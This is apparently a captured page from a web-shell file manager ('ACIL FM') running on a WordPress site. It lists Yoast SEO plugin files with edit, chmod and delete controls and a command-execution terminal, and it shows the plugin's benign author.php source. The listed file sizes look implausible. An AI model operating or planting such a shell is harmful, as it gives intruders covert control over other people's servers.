ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site BKP/wp-content/plugins/wordpress-seo/src/generators/schema
/
home
mhhtmff
www
site BKP
wp-content
plugins
wordpress-seo
src
generators
schema
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
abstract-schema-piece.php
794 B
chmod
View
DL
Edit
Rename
Delete
article.php
7.16 MB
chmod
View
DL
Edit
Rename
Delete
author.php
2.95 MB
chmod
View
DL
Edit
Rename
Delete
breadcrumb.php
5.05 MB
chmod
View
DL
Edit
Rename
Delete
faq.php
2.88 MB
chmod
View
DL
Edit
Rename
Delete
howto.php
4.98 MB
chmod
View
DL
Edit
Rename
Delete
main-image.php
1.14 MB
chmod
View
DL
Edit
Rename
Delete
organization.php
2.38 MB
chmod
View
DL
Edit
Rename
Delete
person.php
9.09 MB
chmod
View
DL
Edit
Rename
Delete
webpage.php
4.55 MB
chmod
View
DL
Edit
Rename
Delete
website.php
2.6 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site BKP/wp-content/plugins/wordpress-seo/src/generators/schema/author.php
<?php namespace Yoast\WP\SEO\Generators\Schema; /** * Returns schema Author data. */ class Author extends Person { /** * Determine whether we should return Person schema. * * @return bool */ public function is_needed() { if ( $this->context->indexable->object_type === 'user' ) { return true; } if ( $this->context->indexable->object_type === 'post' && $this->helpers->schema->article->is_author_supported( $this->context->indexable->object_sub_type ) && $this->context->schema_article_type !== 'None' ) { return true; } return false; } /** * Returns Person Schema data. * * @return bool|array Person data on success, false on failure. */ public function generate() { $user_id = $this->determine_user_id(); if ( ! $user_id ) { return false; } $data = $this->build_person_data( $user_id ); if ( $this->site_represents_current_author() === false ) { $data['@type'] = [ 'Person' ]; unset( $data['logo'] ); } // If this is an author page, the Person object is the main object, so we set it as such here. if ( $this->context->indexable->object_type === 'user' ) { $data['mainEntityOfPage'] = [ '@id' => $this->context->main_schema_id, ]; } // If this is a post and the author archives are enabled, set the author archive url as the author url. if ( $this->context->indexable->object_type === 'post' ) { if ( $this->helpers->options->get( 'disable-author' ) !== true ) { $data['url'] = $this->helpers->user->get_the_author_posts_url( $user_id ); } } return $data; } /** * Determines a User ID for the Person data. * * @return bool|int User ID or false upon return. */ protected function determine_user_id() { $user_id = 0; if ( $this->context->indexable->object_type === 'post' ) { $user_id = (int) $this->context->post->post_author; } if ( $this->context->indexable->object_type === 'user' ) { $user_id = $this->context->indexable->object_id; } /** * Filter: 'wpseo_schema_person_user_id' - Allows filtering of user ID used for person output. * * @api int|bool $user_id The user ID currently determined. */ $user_id = \apply_filters( 'wpseo_schema_person_user_id', $user_id ); if ( \is_int( $user_id ) && $user_id > 0 ) { return $user_id; } return false; } /** * An author should not have an image from options, this only applies to persons. * * @param array $data The Person schema. * @param string $schema_id The string used in the `@id` for the schema. * @param bool $add_hash Whether or not the person's image url hash should be added to the image id. * @param WP_User $user_data User data. * * @return array The Person schema. */ protected function set_image_from_options( $data, $schema_id, $add_hash = false, $user_data = null ) { if ( $this->site_represents_current_author( $user_data ) ) { return parent::set_image_from_options( $data, $schema_id, $add_hash, $user_data ); } return $data; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply